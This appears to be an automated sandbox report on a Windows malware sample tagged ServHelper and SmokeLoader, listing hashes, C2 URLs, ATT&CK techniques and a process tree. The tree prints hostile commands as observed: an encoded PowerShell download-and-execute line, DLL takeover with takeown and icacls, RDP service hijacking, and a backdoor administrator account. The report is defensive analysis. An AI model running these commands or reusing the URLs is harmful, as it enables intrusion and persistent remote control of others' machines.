servhelper | 874646ae5e48bcb2e0f85adf92ba4a8e7a91a3124f7c35ec9228dda6fa568678

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-en-20210920
submitted
18-10-2021 12:36

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General

Target

d8c17d8c7ca799fe434174b292115685.exe
Size

262KB
MD5

d8c17d8c7ca799fe434174b292115685
SHA1

933bf284ae175f9b8667014c58ced7c25dc4be9d
SHA256

874646ae5e48bcb2e0f85adf92ba4a8e7a91a3124f7c35ec9228dda6fa568678
SHA512

559ed328c109616e6754a023d53085737ae9e382b093dba9f5d5610f9485fee1b10d46d515f4df309c9685d977f1c9b0ee7fd94ff8d2bcf741e9059611bfadd9

Score

10^/10

servhelper smokeloader backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
33	1604	powershell.exe
34	1604	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
832	BBB1.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1768	takeown.exe
600	icacls.exe
1528	icacls.exe
1912	icacls.exe
1476	icacls.exe
1776	icacls.exe
1728	icacls.exe
1628	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000012296-139.dat	upx
behavioral1/files/0x002200000000f5b4-140.dat	upx

Deletes itself 1 IoCs

pid	Process
1272	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
1272	Process not Found
1272	Process not Found
1768	Process not Found
1768	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1476	icacls.exe
1776	icacls.exe
1728	icacls.exe
1628	icacls.exe
1768	takeown.exe
600	icacls.exe
1528	icacls.exe
1912	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6J4C76KHFVVNVEVXLTC2.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d8c17d8c7ca799fe434174b292115685.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d8c17d8c7ca799fe434174b292115685.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	d8c17d8c7ca799fe434174b292115685.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0a073fe1cc4d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1604	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1228	d8c17d8c7ca799fe434174b292115685.exe
1228	d8c17d8c7ca799fe434174b292115685.exe
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1272	Process not Found

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
1768	Process not Found
1768	Process not Found
1768	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1228	d8c17d8c7ca799fe434174b292115685.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeRestorePrivilege	1528	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	112	WMIC.exe
Token: SeAuditPrivilege	112	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	112	WMIC.exe
Token: SeAuditPrivilege	112	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1632	WMIC.exe
Token: SeAuditPrivilege	1632	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1632	WMIC.exe
Token: SeAuditPrivilege	1632	WMIC.exe
Token: SeDebugPrivilege	1604	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1272	Process not Found
1272	Process not Found
1272	Process not Found
1272	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 832	1272	Process not Found	27
PID 1272 wrote to memory of 832	1272	Process not Found	27
PID 1272 wrote to memory of 832	1272	Process not Found	27
PID 832 wrote to memory of 744	832	BBB1.exe	29
PID 832 wrote to memory of 744	832	BBB1.exe	29
PID 832 wrote to memory of 744	832	BBB1.exe	29
PID 744 wrote to memory of 852	744	powershell.exe	31
PID 744 wrote to memory of 852	744	powershell.exe	31
PID 744 wrote to memory of 852	744	powershell.exe	31
PID 852 wrote to memory of 1660	852	csc.exe	32
PID 852 wrote to memory of 1660	852	csc.exe	32
PID 852 wrote to memory of 1660	852	csc.exe	32
PID 744 wrote to memory of 1772	744	powershell.exe	35
PID 744 wrote to memory of 1772	744	powershell.exe	35
PID 744 wrote to memory of 1772	744	powershell.exe	35
PID 744 wrote to memory of 972	744	powershell.exe	37
PID 744 wrote to memory of 972	744	powershell.exe	37
PID 744 wrote to memory of 972	744	powershell.exe	37
PID 744 wrote to memory of 1176	744	powershell.exe	39
PID 744 wrote to memory of 1176	744	powershell.exe	39
PID 744 wrote to memory of 1176	744	powershell.exe	39
PID 744 wrote to memory of 1768	744	powershell.exe	41
PID 744 wrote to memory of 1768	744	powershell.exe	41
PID 744 wrote to memory of 1768	744	powershell.exe	41
PID 744 wrote to memory of 600	744	powershell.exe	42
PID 744 wrote to memory of 600	744	powershell.exe	42
PID 744 wrote to memory of 600	744	powershell.exe	42
PID 744 wrote to memory of 1528	744	powershell.exe	43
PID 744 wrote to memory of 1528	744	powershell.exe	43
PID 744 wrote to memory of 1528	744	powershell.exe	43
PID 744 wrote to memory of 1912	744	powershell.exe	44
PID 744 wrote to memory of 1912	744	powershell.exe	44
PID 744 wrote to memory of 1912	744	powershell.exe	44
PID 744 wrote to memory of 1476	744	powershell.exe	45
PID 744 wrote to memory of 1476	744	powershell.exe	45
PID 744 wrote to memory of 1476	744	powershell.exe	45
PID 744 wrote to memory of 1776	744	powershell.exe	46
PID 744 wrote to memory of 1776	744	powershell.exe	46
PID 744 wrote to memory of 1776	744	powershell.exe	46
PID 744 wrote to memory of 1728	744	powershell.exe	47
PID 744 wrote to memory of 1728	744	powershell.exe	47
PID 744 wrote to memory of 1728	744	powershell.exe	47
PID 744 wrote to memory of 1628	744	powershell.exe	48
PID 744 wrote to memory of 1628	744	powershell.exe	48
PID 744 wrote to memory of 1628	744	powershell.exe	48
PID 744 wrote to memory of 1228	744	powershell.exe	49
PID 744 wrote to memory of 1228	744	powershell.exe	49
PID 744 wrote to memory of 1228	744	powershell.exe	49
PID 744 wrote to memory of 1604	744	powershell.exe	50
PID 744 wrote to memory of 1604	744	powershell.exe	50
PID 744 wrote to memory of 1604	744	powershell.exe	50
PID 744 wrote to memory of 1608	744	powershell.exe	51
PID 744 wrote to memory of 1608	744	powershell.exe	51
PID 744 wrote to memory of 1608	744	powershell.exe	51
PID 744 wrote to memory of 1504	744	powershell.exe	52
PID 744 wrote to memory of 1504	744	powershell.exe	52
PID 744 wrote to memory of 1504	744	powershell.exe	52
PID 1504 wrote to memory of 1788	1504	net.exe	53
PID 1504 wrote to memory of 1788	1504	net.exe	53
PID 1504 wrote to memory of 1788	1504	net.exe	53
PID 744 wrote to memory of 1096	744	powershell.exe	54
PID 744 wrote to memory of 1096	744	powershell.exe	54
PID 744 wrote to memory of 1096	744	powershell.exe	54
PID 1096 wrote to memory of 964	1096	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe
"C:\Users\Admin\AppData\Local\Temp\d8c17d8c7ca799fe434174b292115685.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1228

C:\Users\Admin\AppData\Local\Temp\BBB1.exe
C:\Users\Admin\AppData\Local\Temp\BBB1.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ourw-yq8.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:852
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDBA0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDB9F.tmp"
      4⤵
      PID:1660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1176
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1768
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:600
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1912
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1476
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1776
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1728
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1628
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1228
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1604
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1608
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1788
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:964
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1028
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:980
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1796
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:516
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:992
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1380
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1956
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:876

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1912
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:2016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc oJaGKpol /add
1⤵
PID:1728
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc oJaGKpol /add
  2⤵
  PID:1228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc oJaGKpol /add
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1908
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1504

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1828
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:1264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1760

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1776
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1476

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc oJaGKpol
1⤵
PID:1268
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc oJaGKpol
  2⤵
  PID:1736
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc oJaGKpol
    3⤵
    PID:1728

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:112

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1028
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1632

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1624
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/744-78-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/744-79-0x00000000024FB000-0x000000000251A000-memory.dmp

Filesize
124KB

Download
memory/744-86-0x000000000251D000-0x000000000251E000-memory.dmp

Filesize
4KB

Download
memory/744-70-0x00000000024F0000-0x00000000024F2000-memory.dmp

Filesize
8KB

Download
memory/744-69-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp

Filesize
8KB

Download
memory/744-76-0x00000000024F2000-0x00000000024F4000-memory.dmp

Filesize
8KB

Download
memory/744-71-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

Filesize
11.4MB

Download
memory/832-64-0x00000000411F2000-0x00000000411F4000-memory.dmp

Filesize
8KB

Download
memory/832-62-0x0000000041670000-0x0000000041A6F000-memory.dmp

Filesize
4.0MB

Download
memory/832-67-0x00000000411F7000-0x00000000411F8000-memory.dmp

Filesize
4KB

Download
memory/832-65-0x00000000411F4000-0x00000000411F6000-memory.dmp

Filesize
8KB

Download
memory/832-66-0x00000000411F6000-0x00000000411F7000-memory.dmp

Filesize
4KB

Download
memory/852-80-0x00000000020E0000-0x00000000020E2000-memory.dmp

Filesize
8KB

Download
memory/972-103-0x00000000027B2000-0x00000000027B4000-memory.dmp

Filesize
8KB

Download
memory/972-99-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

Filesize
11.4MB

Download
memory/972-101-0x00000000027B0000-0x00000000027B2000-memory.dmp

Filesize
8KB

Download
memory/972-106-0x00000000027BC000-0x00000000027DB000-memory.dmp

Filesize
124KB

Download
memory/972-102-0x00000000027B7000-0x00000000027B8000-memory.dmp

Filesize
4KB

Download
memory/972-104-0x000000001B950000-0x000000001BC4F000-memory.dmp

Filesize
3.0MB

Download
memory/972-105-0x00000000027B4000-0x00000000027B7000-memory.dmp

Filesize
12KB

Download
memory/1176-110-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

Filesize
11.4MB

Download
memory/1176-112-0x0000000002A82000-0x0000000002A84000-memory.dmp

Filesize
8KB

Download
memory/1176-113-0x0000000002A84000-0x0000000002A87000-memory.dmp

Filesize
12KB

Download
memory/1176-111-0x0000000002A80000-0x0000000002A82000-memory.dmp

Filesize
8KB

Download
memory/1176-114-0x0000000002A87000-0x0000000002A88000-memory.dmp

Filesize
4KB

Download
memory/1176-115-0x000000001BC00000-0x000000001BEFF000-memory.dmp

Filesize
3.0MB

Download
memory/1176-116-0x0000000002A8C000-0x0000000002AAB000-memory.dmp

Filesize
124KB

Download
memory/1228-53-0x00000000008AB000-0x00000000008BC000-memory.dmp

Filesize
68KB

Download
memory/1228-54-0x0000000074F81000-0x0000000074F83000-memory.dmp

Filesize
8KB

Download
memory/1228-55-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/1228-56-0x0000000000400000-0x0000000000772000-memory.dmp

Filesize
3.4MB

Download
memory/1272-57-0x0000000001DD0000-0x0000000001DE6000-memory.dmp

Filesize
88KB

Download
memory/1604-159-0x0000000001280000-0x0000000001282000-memory.dmp

Filesize
8KB

Download
memory/1604-158-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

Filesize
11.4MB

Download
memory/1604-162-0x000000000128B000-0x00000000012AA000-memory.dmp

Filesize
124KB

Download
memory/1604-160-0x0000000001282000-0x0000000001284000-memory.dmp

Filesize
8KB

Download
memory/1604-161-0x0000000001284000-0x0000000001287000-memory.dmp

Filesize
12KB

Download
memory/1772-93-0x0000000002382000-0x0000000002384000-memory.dmp

Filesize
8KB

Download
memory/1772-94-0x0000000002384000-0x0000000002387000-memory.dmp

Filesize
12KB

Download
memory/1772-90-0x000007FEEAC70000-0x000007FEEB7CD000-memory.dmp

Filesize
11.4MB

Download
memory/1772-92-0x0000000002380000-0x0000000002382000-memory.dmp

Filesize
8KB

Download
memory/1772-91-0x000000001B760000-0x000000001BA5F000-memory.dmp

Filesize
3.0MB

Download
memory/1772-95-0x0000000002387000-0x0000000002388000-memory.dmp

Filesize
4KB

Download
memory/1772-100-0x000000000238C000-0x00000000023AB000-memory.dmp

Filesize
124KB

Download